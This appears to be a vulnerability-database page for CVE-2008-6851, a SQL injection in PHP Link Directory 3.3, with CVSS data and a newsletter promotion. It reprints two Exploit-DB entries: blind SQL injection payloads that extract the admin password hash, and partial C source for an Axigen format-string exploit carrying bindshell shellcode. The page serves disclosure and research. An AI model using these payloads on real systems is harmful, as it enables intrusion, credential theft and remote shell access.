CVE-2008-6851
published 2009-07-07CVE-2008-6851: SQL injection vulnerability in page.php in PHP Link Directory (phpLD) 3.3, when register_globals is enabled and magic_quotes_gpc is disabled, allows remote…
PriorityP433medium5.1CVSS 2.0
AVNACHAuNCPIPAP
EXPLOIT
EPSS
0.88%
54.5th percentile
SQL injection vulnerability in page.php in PHP Link Directory (phpLD) 3.3, when register_globals is enabled and magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the name parameter.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| php_link_directory | php_link_directory | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
PHPLD 3.3 - Blind SQL Injection
exploitdb·2008-12-23
CVE-2008-6851 PHPLD 3.3 - Blind SQL Injection
PHPLD 3.3 - Blind SQL Injection
---
phpLD 3.3 Blind SQL Injection
http://www.phplinkdirectory.com/
magic_quotes_gpc = Off
register_globals = On
Vulnerable:
GET http://site/phpld/page.php?name=
True Request:
(validpagename)' or 1=1#
False Request:
(validpagename)' or 1=0#
Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...
Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f
- Seasons Greetings -
- http://nukeit.org -
# milw0rm.com [2008-12-23]
Exploit-DB
Axigen 5.0.2 - AXIMilter Remote Format String
exploitdb·2008-01-21
CVE-2008-0434 Axigen 5.0.2 - AXIMilter Remote Format String
Axigen 5.0.2 - AXIMilter Remote Format String
---
/*
* Axigen 5.0.x AXIMilter Format String Exploit
*
* by hempel (JAN 16 2008)
*
* thx to mu-b (digit-labs.org)
*
*/
#include
#include
#include
#include
#include
#include
#include
char buf[] =
"FROM:\r\nEHLO:\r\nCNIP:\r\nCNPO:\r\nCNHO: "
/* offsets */
"\xb8\x96\x05\x08\xb9\x96\x05\x08\xba\x96\x05\x08\xbb\x96\x05\x08"
"\xbc\x96\x05\x08\xbd\x96\x05\x08\xbe\x96\x05\x08\xbf\x96\x05\x08"
"\xc0\x96\x05\x08"
/* format string */
"%35u%6851$n%70u%6850$hhn%47u%6846$hhn%36u%6854$hhn%31u%6853$hhn%"
"17u%6852$hhn%134u%6847$hhn%111u%6848$hhn%259u%6849$hhn"
"\r\nRCPT:\r\nVERI: "
/* bindshell code (port 4141) */
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xdc"
"\xc8\x06\xb7\x83\xeb\xfc\xe2\xf4\xed\x13\x55\xf4\x8f\xa2\x04\xdd"
"\xba\x90\
No writeups or analysis indexed.
2009-07-07
Published